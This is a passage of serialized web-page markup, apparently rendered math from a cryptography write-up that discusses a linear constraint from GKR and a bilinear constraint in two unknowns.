481],{"type":23,"tag":230,"props":121319,"children":121321},{"className":121320,"style":120588},[6339],[],{"type":23,"tag":230,"props":121323,"children":121325},{"className":121324},[23938],[121326,121331],{"type":23,"tag":230,"props":121327,"children":121329},{"className":121328,"style":23945},[23938,23943,23944],[121330],{"type":29,"value":120424},{"type":23,"tag":230,"props":121332,"children":121334},{"className":121333},[6362],[121335],{"type":23,"tag":230,"props":121336,"children":121338},{"className":121337},[6367,23956],[121339,121368],{"type":23,"tag":230,"props":121340,"children":121342},{"className":121341},[6372],[121343,121363],{"type":23,"tag":230,"props":121344,"children":121346},{"className":121345,"style":116033},[6377],[121347],{"type":23,"tag":230,"props":121348,"children":121349},{"style":23969},[121350,121354],{"type":23,"tag":230,"props":121351,"children":121353},{"className":121352,"style":6387},[6386],[],{"type":23,"tag":230,"props":121355,"children":121357},{"className":121356},[6392,6393,6394,6395],[121358],{"type":23,"tag":230,"props":121359,"children":121361},{"className":121360,"style":116049},[6345,23902,6395],[121362],{"type":29,"value":10992},{"type":23,"tag":230,"props":121364,"children":121366},{"className":121365},[24059],[121367],{"type":29,"value":24062},{"type":23,"tag":230,"props":121369,"children":121371},{"className":121370},[6372],[121372],{"type":23,"tag":230,"props":121373,"children":121375},{"className":121374,"style":116064},[6377],[121376],{"type":23,"tag":230,"props":121377,"children":121378},{},[],{"type":23,"tag":230,"props":121380,"children":121382},{"className":121381,"style":6465},[6426],[],{"type":23,"tag":230,"props":121384,"children":121386},{"className":121385},[6345,29],[121387],{"type":23,"tag":230,"props":121388,"children":121390},{"className":121389},[6345],[121391],{"type":29,"value":51344},{"type":23,"tag":230,"props":121393,"children":121395},{"className":121394,"style":94826},[6345],[121396],{"type":29,"value":5422},{"type":23,"tag":230,"props":121398,"children":121400},{"className":121399},[6345,29],[121401],{"type":23,"tag":230,"props":121402,"children":121404},{"className":121403},[6345],[121405],{"type":29,"value":120500},{"type":23,"tag":230,"props":121407,"children":121409},{"className":121408,"style":94826},[6345],[121410],{"type":29,"value":5422},{"type":23,"tag":230,"props":121412,"children":121414},{"className":121413},[6345],[121415,121424],{"type":23,"tag":230,"props":121416,"children":121418},{"className":121417},[6345,29],[121419],{"type":23,"tag":230,"props":121420,"children":121422},{"className":121421},[6345],[121423],{"type":29,"value":120519},{"type":23,"tag":230,"props":121425,"children":121427},{"className":121426},[6362],[121428],{"type":23,"tag":230,"props":121429,"children":121431},{"className":121430},[6367,23956],[121432,121461],{"type":23,"tag":230,"props":121433,"children":121435},{"className":121434},[6372],[121436,121456],{"type":23,"tag":230,"props":121437,"children":121439},{"className":121438,"style":95355},[6377],[121440],{"type":23,"tag":230,"props":121441,"children":121442},{"style":115956},[121443,121447],{"type":23,"tag":230,"props":121444,"children":121446},{"className":121445,"style":6387},[6386],[],{"type":23,"tag":230,"props":121448,"children":121450},{"className":121449},[6392,6393,6394,6395],[121451],{"type":23,"tag":230,"props":121452,"children":121454},{"className":121453,"style":116049},[6345,23902,6395],[121455],{"type":29,"value":10992},{"type":23,"tag":230,"props":121457,"children":121459},{"className":121458},[24059],[121460],{"type":29,"value":24062},{"type":23,"tag":230,"props":121462,"children":121464},{"className":121463},[6372],[121465],{"type":23,"tag":230,"props":121466,"children":121468},{"className":121467,"style":120736},[6377],[121469],{"type":23,"tag":230,"props":121470,"children":121471},{},[],{"type":23,"tag":230,"props":121473,"children":121475},{"className":121474,"style":6427},[6426],[],{"type":23,"tag":230,"props":121477,"children":121479},{"className":121478},[6432],[121480],{"type":29,"value":113088},{"type":23,"tag":230,"props":121482,"children":121484},{"className":121483,"style":6427},[6426],[],{"type":23,"tag":230,"props":121486,"children":121488},{"className":121487},[6334],[121489,121493,121498,121507],{"type":23,"tag":230,"props":121490,"children":121492},{"className":121491,"style":6447},[6339],[],{"type":23,"tag":230,"props":121494,"children":121496},{"className":121495},[24031],[121497],{"type":29,"value":302},{"type":23,"tag":230,"props":121499,"children":121501},{"className":121500},[6345,29],[121502],{"type":23,"tag":230,"props":121503,"children":121505},{"className":121504},[6345],[121506],{"type":29,"value":120776},{"type":23,"tag":230,"props":121508,"children":121510},{"className":121509},[24053],[121511],{"type":29,"value":5467},{"type":23,"tag":32,"props":121513,"children":121514},{},[121515,121517,121686,121687,121856],{"type":29,"value":121516},"If we vary ",{"type":23,"tag":71,"props":121518,"children":121520},{"className":121519},[6318,6319],[121521],{"type":23,"tag":230,"props":121522,"children":121524},{"className":121523},[6324],[121525],{"type":23,"tag":230,"props":121526,"children":121528},{"className":121527,"ariaHidden":1726},[6329],[121529,121607],{"type":23,"tag":230,"props":121530,"children":121532},{"className":121531},[6334],[121533,121537,121594,121598,121603],{"type":23,"tag":230,"props":121534,"children":121536},{"className":121535,"style":111796},[6339],[],{"type":23,"tag":230,"props":121538,"children":121540},{"className":121539},[6345],[121541,121546],{"type":23,"tag":230,"props":121542,"children":121544},{"className":121543},[6345,23902],[121545],{"type":29,"value":4511},{"type":23,"tag":230,"props":121547,"children":121549},{"className":121548},[6362],[121550],{"type":23,"tag":230,"props":121551,"children":121553},{"className":121552},[6367,23956],[121554,121583],{"type":23,"tag":230,"props":121555,"children":121557},{"className":121556},[6372],[121558,121578],{"type":23,"tag":230,"props":121559,"children":121561},{"className":121560,"style":94878},[6377],[121562],{"type":23,"tag":230,"props":121563,"children":121564},{"style":94882},[121565,121569],{"type":23,"tag":230,"props":121566,"children":121568},{"className":121567,"style":6387},[6386],[],{"type":23,"tag":230,"props":121570,"children":121572},{"className":121571},[6392,6393,6394,6395],[121573],{"type":23,"tag":230,"props":121574,"children":121576},{"className":121575},[6345,6395],[121577],{"type":29,"value":6358},{"type":23,"tag":230,"props":121579,"children":121581},{"className":121580},[24059],[121582],{"type":29,"value":24062},{"type":23,"tag":230,"props":121584,"children":121586},{"className":121585},[6372],[121587],{"type":23,"tag":230,"props":121588,"children":121590},{"className":121589,"style":94909},[6377],[121591],{"type":23,"tag":230,"props":121592,"children":121593},{},[],{"type":23,"tag":230,"props":121595,"children":121597},{"className":121596,"style":6524},[6426],[],{"type":23,"tag":230,"props":121599,"children":121601},{"className":121600},[6529],[121602],{"type":29,"value":863},{"type":23,"tag":230,"props":121604,"children":121606},{"className":121605,"style":6524},[6426],[],{"type":23,"tag":230,"props":121608,"children":121610},{"className":121609},[6334],[121611,121615,121656,121661,121666,121671,121676,121681],{"type":23,"tag":230,"props":121612,"children":121614},{"className":121613,"style":94768},[6339],[],{"type":23,"tag":230,"props":121616,"children":121618},{"className":121617},[6345],[121619,121628,121633,121642,121647],{"type":23,"tag":230,"props":121620,"children":121622},{"className":121621},[6345,29],[121623],{"type":23,"tag":230,"props":121624,"children":121626},{"className":121625},[6345],[121627],{"type":29,"value":95645},{"type":23,"tag":230,"props":121629,"children":121631},{"className":121630,"style":94826},[6345],[121632],{"type":29,"value":5422},{"type":23,"tag":230,"props":121634,"children":121636},{"className":121635},[6345,29],[121637],{"type":23,"tag":230,"props":121638,"children":121640},{"className":121639},[6345],[121641],{"type":29,"value":120500},{"type":23,"tag":230,"props":121643,"children":121645},{"className":121644,"style":94826},[6345],[121646],{"type":29,"value":5422},{"type":23,"tag":230,"props":121648,"children":121650},{"className":121649},[6345,29],[121651],{"type":23,"tag":230,"props":121652,"children":121654},{"className":121653},[6345],[121655],{"type":29,"value":120519},{"type":23,"tag":230,"props":121657,"children":121659},{"className":121658},[24031],[121660],{"type":29,"value":6069},{"type":23,"tag":230,"props":121662,"children":121664},{"className":121663},[6345],[121665],{"type":29,"value":6358},{"type":23,"tag":230,"props":121667,"children":121669},{"className":121668},[24053],[121670],{"type":29,"value":17735},{"type":23,"tag":230,"props":121672,"children":121674},{"className":121673},[24031],[121675],{"type":29,"value":6069},{"type":23,"tag":230,"props":121677,"children":121679},{"className":121678},[6345],[121680],{"type":29,"value":6358},{"type":23,"tag":230,"props":121682,"children":121684},{"className":121683},[24053],[121685],{"type":29,"value":17735},{"type":29,"value":112},{"type":23,"tag":71,"props":121688,"children":121690},{"className":121689},[6318,6319],[121691],{"type":23,"tag":230,"props":121692,"children":121694},{"className":121693},[6324],[121695],{"type":23,"tag":230,"props":121696,"children":121698},{"className":121697,"ariaHidden":1726},[6329],[121699,121777],{"type":23,"tag":230,"props":121700,"children":121702},{"className":121701},[6334],[121703,121707,121764,121768,121773],{"type":23,"tag":230,"props":121704,"children":121706},{"className":121705,"style":111796},[6339],[],{"type":23,"tag":230,"props":121708,"children":121710},{"className":121709},[6345],[121711,121716],{"type":23,"tag":230,"props":121712,"children":121714},{"className":121713},[6345,23902],[121715],{"type":29,"value":4511},{"type":23,"tag":230,"props":121717,"children":121719},{"className":121718},[6362],[121720],{"type":23,"tag":230,"props":121721,"children":121723},{"className":121722},[6367,23956],[121724,121753],{"type":23,"tag":230,"props":121725,"children":121727},{"className":121726},[6372],[121728,121748],{"type":23,"tag":230,"props":121729,"children":121731},{"className":121730,"style":94878},[6377],[121732],{"type":23,"tag":230,"props":121733,"children":121734},{"style":94882},[121735,121739],{"type":23,"tag":230,"props":121736,"children":121738},{"className":121737,"style":6387},[6386],[],{"type":23,"tag":230,"props":121740,"children":121742},{"className":121741},[6392,6393,6394,6395],[121743],{"type":23,"tag":230,"props":121744,"children":121746},{"className":121745},[6345,6395],[121747],{"type":29,"value":6348},{"type":23,"tag":230,"props":121749,"children":121751},{"className":121750},[24059],[121752],{"type":29,"value":24062},{"type":23,"tag":230,"props":121754,"children":121756},{"className":121755},[6372],[121757],{"type":23,"tag":230,"props":121758,"children":121760},{"className":121759,"style":94909},[6377],[121761],{"type":23,"tag":230,"props":121762,"children":121763},{},[],{"type":23,"tag":230,"props":121765,"children":121767},{"className":121766,"style":6524},[6426],[],{"type":23,"tag":230,"props":121769,"children":121771},{"className":121770},[6529],[121772],{"type":29,"value":863},{"type":23,"tag":230,"props":121774,"children":121776},{"className":121775,"style":6524},[6426],[],{"type":23,"tag":230,"props":121778,"children":121780},{"className":121779},[6334],[121781,121785,121826,121831,121836,121841,121846,121851],{"type":23,"tag":230,"props":121782,"children":121784},{"className":121783,"style":94768},[6339],[],{"type":23,"tag":230,"props":121786,"children":121788},{"className":121787},[6345],[121789,121798,121803,121812,121817],{"type":23,"tag":230,"props":121790,"children":121792},{"className":121791},[6345,29],[121793],{"type":23,"tag":230,"props":121794,"children":121796},{"className":121795},[6345],[121797],{"type":29,"value":95645},{"type":23,"tag":230,"props":121799,"children":121801},{"className":121800,"style":94826},[6345],[121802],{"type":29,"value":5422},{"type":23,"tag":230,"props":121804,"children":121806},{"className":121805},[6345,29],[121807],{"type":23,"tag":230,"props":121808,"children":121810},{"className":121809},[6345],[121811],{"type":29,"value":120500},{"type":23,"tag":230,"props":121813,"children":121815},{"className":121814,"style":94826},[6345],[121816],{"type":29,"value":5422},{"type":23,"tag":230,"props":121818,"children":121820},{"className":121819},[6345,29],[121821],{"type":23,"tag":230,"props":121822,"children":121824},{"className":121823},[6345],[121825],{"type":29,"value":120519},{"type":23,"tag":230,"props":121827,"children":121829},{"className":121828},[24031],[121830],{"type":29,"value":6069},{"type":23,"tag":230,"props":121832,"children":121834},{"className":121833},[6345],[121835],{"type":29,"value":6358},{"type":23,"tag":230,"props":121837,"children":121839},{"className":121838},[24053],[121840],{"type":29,"value":17735},{"type":23,"tag":230,"props":121842,"children":121844},{"className":121843},[24031],[121845],{"type":29,"value":6069},{"type":23,"tag":230,"props":121847,"children":121849},{"className":121848},[6345],[121850],{"type":29,"value":6348},{"type":23,"tag":230,"props":121852,"children":121854},{"className":121853},[24053],[121855],{"type":29,"value":17735},{"type":29,"value":121857}," we get the following constraint:",{"type":23,"tag":32,"props":121859,"children":121860},{},[121861],{"type":23,"tag":71,"props":121862,"children":121864},{"className":121863},[6318,6319],[121865],{"type":23,"tag":230,"props":121866,"children":121868},{"className":121867},[6324],[121869],{"type":23,"tag":230,"props":121870,"children":121872},{"className":121871,"ariaHidden":1726},[6329],[121873,121952,122030,122071],{"type":23,"tag":230,"props":121874,"children":121876},{"className":121875},[6334],[121877,121882,121939,121943,121948],{"type":23,"tag":230,"props":121878,"children":121881},{"className":121879,"style":121880},[6339],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":230,"props":121883,"children":121885},{"className":121884},[6345],[121886,121891],{"type":23,"tag":230,"props":121887,"children":121889},{"className":121888},[6345,23902],[121890],{"type":29,"value":4511},{"type":23,"tag":230,"props":121892,"children":121894},{"className":121893},[6362],[121895],{"type":23,"tag":230,"props":121896,"children":121898},{"className":121897},[6367,23956],[121899,121928],{"type":23,"tag":230,"props":121900,"children":121902},{"className":121901},[6372],[121903,121923],{"type":23,"tag":230,"props":121904,"children":121906},{"className":121905,"style":94878},[6377],[121907],{"type":23,"tag":230,"props":121908,"children":121909},{"style":94882},[121910,121914],{"type":23,"tag":230,"props":121911,"children":121913},{"className":121912,"style":6387},[6386],[],{"type":23,"tag":230,"props":121915,"children":121917},{"className":121916},[6392,6393,6394,6395],[121918],{"type":23,"tag":230,"props":121919,"children":121921},{"className":121920},[6345,6395],[121922],{"type":29,"value":6358},{"type":23,"tag":230,"props":121924,"children":121926},{"className":121925},[24059],[121927],{"type":29,"value":24062},{"type":23,"tag":230,"props":121929,"children":121931},{"className":121930},[6372],[121932],{"type":23,"tag":230,"props":121933,"children":121935},{"className":121934,"style":94909},[6377],[121936],{"type":23,"tag":230,"props":121937,"children":121938},{},[],{"type":23,"tag":230,"props":121940,"children":121942},{"className":121941,"style":6427},[6426],[],{"type":23,"tag":230,"props":121944,"children":121946},{"className":121945},[6432],[121947],{"type":29,"value":113088},{"type":23,"tag":230,"props":121949,"children":121951},{"className":121950,"style":6427},[6426],[],{"type":23,"tag":230,"props":121953,"children":121955},{"className":121954},[6334],[121956,121960,122017,122021,122026],{"type":23,"tag":230,"props":121957,"children":121959},{"className":121958,"style":121880},[6339],[],{"type":23,"tag":230,"props":121961,"children":121963},{"className":121962},[6345],[121964,121969],{"type":23,"tag":230,"props":121965,"children":121967},{"className":121966},[6345,23902],[121968],{"type":29,"value":4511},{"type":23,"tag":230,"props":121970,"children":121972},{"className":121971},[6362],[121973],{"type":23,"tag":230,"props":121974,"children":121976},{"className":121975},[6367,23956],[121977,122006],{"type":23,"tag":230,"props":121978,"children":121980},{"className":121979},[6372],[121981,122001],{"type":23,"tag":230,"props":121982,"children":121984},{"className":121983,"style":94878},[6377],[121985],{"type":23,"tag":230,"props":121986,"children":121987},{"style":94882},[121988,121992],{"type":23,"tag":230,"props":121989,"children":121991},{"className":121990,"style":6387},[6386],[],{"type":23,"tag":230,"props":121993,"children":121995},{"className":121994},[6392,6393,6394,6395],[121996],{"type":23,"tag":230,"props":121997,"children":121999},{"className":121998},[6345,6395],[122000],{"type":29,"value":6348},{"type":23,"tag":230,"props":122002,"children":122004},{"className":122003},[24059],[122005],{"type":29,"value":24062},{"type":23,"tag":230,"props":122007,"children":122009},{"className":122008},[6372],[122010],{"type":23,"tag":230,"props":122011,"children":122013},{"className":122012,"style":94909},[6377],[122014],{"type":23,"tag":230,"props":122015,"children":122016},{},[],{"type":23,"tag":230,"props":122018,"children":122020},{"className":122019,"style":6427},[6426],[],{"type":23,"tag":230,"props":122022,"children":122024},{"className":122023},[6432],[122025],{"type":29,"value":113088},{"type":23,"tag":230,"props":122027,"children":122029},{"className":122028,"style":6427},[6426],[],{"type":23,"tag":230,"props":122031,"children":122033},{"className":122032},[6334],[122034,122038,122043,122053,122058,122062,122067],{"type":23,"tag":230,"props":122035,"children":122037},{"className":122036,"style":6447},[6339],[],{"type":23,"tag":230,"props":122039,"children":122041},{"className":122040},[24031],[122042],{"type":29,"value":302},{"type":23,"tag":230,"props":122044,"children":122046},{"className":122045},[6345,29],[122047],{"type":23,"tag":230,"props":122048,"children":122050},{"className":122049},[6345],[122051],{"type":29,"value":122052},"rest of product",{"type":23,"tag":230,"props":122054,"children":122056},{"className":122055},[24053],[122057],{"type":29,"value":5467},{"type":23,"tag":230,"props":122059,"children":122061},{"className":122060,"style":6524},[6426],[],{"type":23,"tag":230,"props":122063,"children":122065},{"className":122064},[6529],[122066],{"type":29,"value":863},{"type":23,"tag":230,"props":122068,"children":122070},{"className":122069,"style":6524},[6426],[],{"type":23,"tag":230,"props":122072,"children":122074},{"className":122073},[6334],[122075,122079],{"type":23,"tag":230,"props":122076,"children":122078},{"className":122077,"style":116846},[6339],[],{"type":23,"tag":230,"props":122080,"children":122082},{"className":122081},[6345,29],[122083],{"type":23,"tag":230,"props":122084,"children":122086},{"className":122085},[6345],[122087],{"type":29,"value":116857},{"type":23,"tag":32,"props":122089,"children":122090},{},[122091,122093,122246],{"type":29,"value":122092},"This is bilinear in ",{"type":23,"tag":71,"props":122094,"children":122096},{"className":122095},[6318,6319],[122097],{"type":23,"tag":230,"props":122098,"children":122100},{"className":122099},[6324],[122101],{"type":23,"tag":230,"props":122102,"children":122104},{"className":122103,"ariaHidden":1726},[6329],[122105],{"type":23,"tag":230,"props":122106,"children":122108},{"className":122107},[6334],[122109,122113,122118,122175,122180,122184,122241],{"type":23,"tag":230,"props":122110,"children":122112},{"className":122111,"style":6447},[6339],[],{"type":23,"tag":230,"props":122114,"children":122116},{"className":122115},[24031],[122117],{"type":29,"value":302},{"type":23,"tag":230,"props":122119,"children":122121},{"className":122120},[6345],[122122,122127],{"type":23,"tag":230,"props":122123,"children":122125},{"className":122124},[6345,23902],[122126],{"type":29,"value":4511},{"type":23,"tag":230,"props":122128,"children":122130},{"className":122129},[6362],[122131],{"type":23,"tag":230,"props":122132,"children":122134},{"className":122133},[6367,23956],[122135,122164],{"type":23,"tag":230,"props":122136,"children":122138},{"className":122137},[6372],[122139,122159],{"type":23,"tag":230,"props":122140,"children":122142},{"className":122141,"style":94878},[6377],[122143],{"type":23,"tag":230,"props":122144,"children":122145},{"style":94882},[122146,122150],{"type":23,"tag":230,"props":122147,"children":122149},{"className":122148,"style":6387},[6386],[],{"type":23,"tag":230,"props":122151,"children":122153},{"className":122152},[6392,6393,6394,6395],[122154],{"type":23,"tag":230,"props":122155,"children":122157},{"className":122156},[6345,6395],[122158],{"type":29,"value":6358},{"type":23,"tag":230,"props":122160,"children":122162},{"className":122161},[24059],[122163],{"type":29,"value":24062},{"type":23,"tag":230,"props":122165,"children":122167},{"className":122166},[6372],[122168],{"type":23,"tag":230,"props":122169,"children":122171},{"className":122170,"style":94909},[6377],[122172],{"type":23,"tag":230,"props":122173,"children":122174},{},[],{"type":23,"tag":230,"props":122176,"children":122178},{"className":122177},[6458],[122179],{"type":29,"value":6461},{"type":23,"tag":230,"props":122181,"children":122183},{"className":122182,"style":6465},[6426],[],{"type":23,"tag":230,"props":122185,"children":122187},{"className":122186},[6345],[122188,122193],{"type":23,"tag":230,"props":122189,"children":122191},{"className":122190},[6345,23902],[122192],{"type":29,"value":4511},{"type":23,"tag":230,"props":122194,"children":122196},{"className":122195},[6362],[122197],{"type":23,"tag":230,"props":122198,"children":122200},{"className":122199},[6367,23956],[122201,122230],{"type":23,"tag":230,"props":122202,"children":122204},{"className":122203},[6372],[122205,122225],{"type":23,"tag":230,"props":122206,"children":122208},{"className":122207,"style":94878},[6377],[122209],{"type":23,"tag":230,"props":122210,"children":122211},{"style":94882},[122212,122216],{"type":23,"tag":230,"props":122213,"children":122215},{"className":122214,"style":6387},[6386],[],{"type":23,"tag":230,"props":122217,"children":122219},{"className":122218},[6392,6393,6394,6395],[122220],{"type":23,"tag":230,"props":122221,"children":122223},{"className":122222},[6345,6395],[122224],{"type":29,"value":6348},{"type":23,"tag":230,"props":122226,"children":122228},{"className":122227},[24059],[122229],{"type":29,"value":24062},{"type":23,"tag":230,"props":122231,"children":122233},{"className":122232},[6372],[122234],{"type":23,"tag":230,"props":122235,"children":122237},{"className":122236,"style":94909},[6377],[122238],{"type":23,"tag":230,"props":122239,"children":122240},{},[],{"type":23,"tag":230,"props":122242,"children":122244},{"className":122243},[24053],[122245],{"type":29,"value":5467},{"type":29,"value":312},{"type":23,"tag":32,"props":122248,"children":122249},{},[122250,122252,122405],{"type":29,"value":122251},"We have two unknowns ",{"type":23,"tag":71,"props":122253,"children":122255},{"className":122254},[6318,6319],[122256],{"type":23,"tag":230,"props":122257,"children":122259},{"className":122258},[6324],[122260],{"type":23,"tag":230,"props":122261,"children":122263},{"className":122262,"ariaHidden":1726},[6329],[122264],{"type":23,"tag":230,"props":122265,"children":122267},{"className":122266},[6334],[122268,122272,122277,122334,122339,122343,122400],{"type":23,"tag":230,"props":122269,"children":122271},{"className":122270,"style":6447},[6339],[],{"type":23,"tag":230,"props":122273,"children":122275},{"className":122274},[24031],[122276],{"type":29,"value":302},{"type":23,"tag":230,"props":122278,"children":122280},{"className":122279},[6345],[122281,122286],{"type":23,"tag":230,"props":122282,"children":122284},{"className":122283},[6345,23902],[122285],{"type":29,"value":4511},{"type":23,"tag":230,"props":122287,"children":122289},{"className":122288},[6362],[122290],{"type":23,"tag":230,"props":122291,"children":122293},{"className":122292},[6367,23956],[122294,122323],{"type":23,"tag":230,"props":122295,"children":122297},{"className":122296},[6372],[122298,122318],{"type":23,"tag":230,"props":122299,"children":122301},{"className":122300,"style":94878},[6377],[122302],{"type":23,"tag":230,"props":122303,"children":122304},{"style":94882},[122305,122309],{"type":23,"tag":230,"props":122306,"children":122308},{"className":122307,"style":6387},[6386],[],{"type":23,"tag":230,"props":122310,"children":122312},{"className":122311},[6392,6393,6394,6395],[122313],{"type":23,"tag":230,"props":122314,"children":122316},{"className":122315},[6345,6395],[122317],{"type":29,"value":6358},{"type":23,"tag":230,"props":122319,"children":122321},{"className":122320},[24059],[122322],{"type":29,"value":24062},{"type":23,"tag":230,"props":122324,"children":122326},{"className":122325},[6372],[122327],{"type":23,"tag":230,"props":122328,"children":122330},{"className":122329,"style":94909},[6377],[122331],{"type":23,"tag":230,"props":122332,"children":122333},{},[],{"type":23,"tag":230,"props":122335,"children":122337},{"className":122336},[6458],[122338],{"type":29,"value":6461},{"type":23,"tag":230,"props":122340,"children":122342},{"className":122341,"style":6465},[6426],[],{"type":23,"tag":230,"props":122344,"children":122346},{"className":122345},[6345],[122347,122352],{"type":23,"tag":230,"props":122348,"children":122350},{"className":122349},[6345,23902],[122351],{"type":29,"value":4511},{"type":23,"tag":230,"props":122353,"children":122355},{"className":122354},[6362],[122356],{"type":23,"tag":230,"props":122357,"children":122359},{"className":122358},[6367,23956],[122360,122389],{"type":23,"tag":230,"props":122361,"children":122363},{"className":122362},[6372],[122364,122384],{"type":23,"tag":230,"props":122365,"children":122367},{"className":122366,"style":94878},[6377],[122368],{"type":23,"tag":230,"props":122369,"children":122370},{"style":94882},[122371,122375],{"type":23,"tag":230,"props":122372,"children":122374},{"className":122373,"style":6387},[6386],[],{"type":23,"tag":230,"props":122376,"children":122378},{"className":122377},[6392,6393,6394,6395],[122379],{"type":23,"tag":230,"props":122380,"children":122382},{"className":122381},[6345,6395],[122383],{"type":29,"value":6348},{"type":23,"tag":230,"props":122385,"children":122387},{"className":122386},[24059],[122388],{"type":29,"value":24062},{"type":23,"tag":230,"props":122390,"children":122392},{"className":122391},[6372],[122393],{"type":23,"tag":230,"props":122394,"children":122396},{"className":122395,"style":94909},[6377],[122397],{"type":23,"tag":230,"props":122398,"children":122399},{},[],{"type":23,"tag":230,"props":122401,"children":122403},{"className":122402},[24053],[122404],{"type":29,"value":5467},{"type":29,"value":122406}," and two equations, one linear and one bilinear:",{"type":23,"tag":144,"props":122408,"children":122409},{},[122410,122737],{"type":23,"tag":102,"props":122411,"children":122412},{},[122413,122415],{"type":29,"value":122414},"Linear (from GKR): ",{"type":23,"tag":71,"props":122416,"children":122418},{"className":122417},[6318,6319],[122419],{"type":23,"tag":230,"props":122420,"children":122422},{"className":122421},[6324],[122423],{"type":23,"tag":230,"props":122424,"children":122426},{"className":122425,"ariaHidden":1726},[6329],[122427,122563,122698,122724],{"type":23,"tag":230,"props":122428,"children":122430},{"className":122429},[6334],[122431,122436,122493,122550,122554,122559],{"type":23,"tag":230,"props":122432,"children":122435},{"className":122433,"style":122434},[6339],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":230,"props":122437,"children":122439},{"className":122438},[6345],[122440,122445],{"type":23,"tag":230,"props":122441,"children":122443},{"className":122442},[6345,23902],[122444],{"type":29,"value":181},{"type":23,"tag":230,"props":122446,"children":122448},{"className":122447},[6362],[122449],{"type":23,"tag":230,"props":122450,"children":122452},{"className":122451},[6367,23956],[122453,122482],{"type":23,"tag":230,"props":122454,"children":122456},{"className":122455},[6372],[122457,122477],{"type":23,"tag":230,"props":122458,"children":122460},{"className":122459,"style":94878},[6377],[122461],{"type":23,"tag":230,"props":122462,"children":122463},{"style":94882},[122464,122468],{"type":23,"tag":230,"props":122465,"children":122467},{"className":122466,"style":6387},[6386],[],{"type":23,"tag":230,"props":122469,"children":122471},{"className":122470},[6392,6393,6394,6395],[122472],{"type":23,"tag":230,"props":122473,"children":122475},{"className":122474},[6345,6395],[122476],{"type":29,"value":6358},{"type":23,"tag":230,"props":122478,"children":122480},{"className":122479},[24059],[122481],{"type":29,"value":24062},{"type":23,"tag":230,"props":122483,"children":122485},{"className":122484},[6372],[122486],{"type":23,"tag":230,"props":122487,"children":122489},{"className":122488,"style":94909},[6377],[122490],{"type":23,"tag":230,"props":122491,"children":122492},{},[],{"type":23,"tag":230,"props":122494,"children":122496},{"className":122495},[6345],[122497,122502],{"type":23,"tag":230,"props":122498,"children":122500},{"className":122499},[6345,23902],[122501],{"type":29,"value":4511},{"type":23,"tag":230,"props":122503,"children":122505},{"className":122504},[6362],[122506],{"type":23,"tag":230,"props":122507,"children":122509},{"className":122508},[6367,23956],[122510,122539],{"type":23,"tag":230,"props":122511,"children":122513},{"className":122512},[6372],[122514,122534],{"type":23,"tag":230,"props":122515,"children":122517},{"className":122516,"style":94878},[6377],[122518],{"type":23,"tag":230,"props":122519,"children":122520},{"style":94882},[122521,122525],{"type":23,"tag":230,"props":122522,"children":122524},{"className":122523,"style":6387},[6386],[],{"type":23,"tag":230,"props":122526,"children":122528},{"className":122527},[6392,6393,6394,6395],[122529],{"type":23,"tag":230,"props":122530,"children":122532},{"className":122531},[6345,6395],[122533],{"type":29,"value":6358},{"type":23,"tag":230,"props":122535,"children":122537},{"className":122536},[24059],[122538],{"type":29,"value":24062},{"type":23,"tag":230,"props":122540,"children":122542},{"className":122541},[6372],[122543],{"type":23,"tag":230,"props":122544,"children":122546},{"className":122545,"style":94909},[6377],[122547],{"type":23,"tag":230,"props":122548,"children":122549},{},[],{"type":23,"tag":230,"props":122551,"children":122553},{"className":122552,"style":6427},[6426],[],{"type":23,"tag":230,"props":122555,"children":122557},{"className":122556},[6432],[122558],{"type":29,"value":6719},{"type":23,"tag":230,"props":122560,"children":122562},{"className":122561,"style":6427},[6426],[],{"type":23,"tag":230,"props":122564,"children":122566},{"className":122565},[6334],[122567,122571,122628,122685,122689,122694],{"type":23,"tag":230,"props":122568,"children":122570},{"className":122569,"style":122434},[6339],[],{"type":23,"tag":230,"props":122572,"children":122574},{"className":122573},[6345],[122575,122580],{"type":23,"tag":230,"props":122576,"children":122578},{"className":122577},[6345,23902],[122579],{"type":29,"value":181},{"type":23,"tag":230,"props":122581,"children":122583},{"className":122582},[6362],[122584],{"type":23,"tag":230,"props":122585,"children":122587},{"className":122586},[6367,23956],[122588,122617],{"type":23,"tag":230,"props":122589,"children":122591},{"className":122590},[6372],[122592,122612],{"type":23,"tag":230,"props":122593,"children":122595},{"className":122594,"style":94878},[6377],[122596],{"type":23,"tag":230,"props":122597,"children":122598},{"style":94882},[122599,122603],{"type":23,"tag":230,"props":122600,"children":122602},{"className":122601,"style":6387},[6386],[],{"type":23,"tag":230,"props":122604,"children":122606},{"className":122605},[6392,6393,6394,6395],[122607],{"type":23,"tag":230,"props":122608,"children":122610},{"className":122609},[6345,6395],[122611],{"type":29,"value":6348},{"type":23,"tag":230,"props":122613,"children":122615},{"className":122614},[24059],[122616],{"type":29,"value":24062},{"type":23,"tag":230,"props":122618,"children":122620},{"className":122619},[6372],[122621],{"type":23,"tag":230,"props":122622,"children":122624},{"className":122623,"style":94909},[6377],[122625],{"type":23,"tag":230,"props":122626,"children":122627},{},[],{"type":23,"tag":230,"props":122629,"children":122631},{"className":122630},[6345],[122632,122637],{"type":23,"tag":230,"props":122633,"children":122635},{"className":122634},[6345,23902],[122636],{"type":29,"value":4511},{"type":23,"tag":230,"props":122638,"children":122640},{"className":122639},[6362],[122641],{"type":23,"tag":230,"props":122642,"children":122644},{"className":122643},[6367,23956],[122645,122674],{"type":23,"tag":230,"props":122646,"children":122648},{"className":122647},[6372],[122649,122669],{"type":23,"tag":230,"props":122650,"children":122652},{"className":122651,"style":94878},[6377],[122653],{"type":23,"tag":230,"props":122654,"children":122655},{"style":94882},[122656,122660],{"type":23,"tag":230,"props":122657,"children":122659},{"className":122658,"style":6387},[6386],[],{"type":23,"tag":230,"props":122661,"children":122663},{"className":122662},[6392,6393,6394,6395],[122664],{"type":23,"tag":230,"props":122665,"children":122667},{"className":122666},[6345,6395],[122668],{"type":29,"value":6348},{"type":23,"tag":230,"props":122670,"children":122672},{"className":122671},[24059],[122673],{"type":29,"value":24062},{"type":23,"tag":230,"props":122675,"children":122677},{"className":122676},[6372],[122678],{"type":23,"tag":230,"props":122679,"children":122681},{"className":122680,"style":94909},[6377],[122682],{"type":23,"tag":230,"props":122683,"children":122684},{},[],{"type":23,"tag":230,"props":122686,"children":122688},{"className":122687,"style":6427},[6426],[],{"type":23,"tag":230,"props":122690,"children":122692},{"className":122691},[6432],[122693],{"type":29,"value":6719},{"type":23,"tag":230,"props":122695,"children":122697},{"className":122696,"style":6427},[6426],[],{"type":23,"tag":230,"props":122699,"children":122701},{"className":122700},[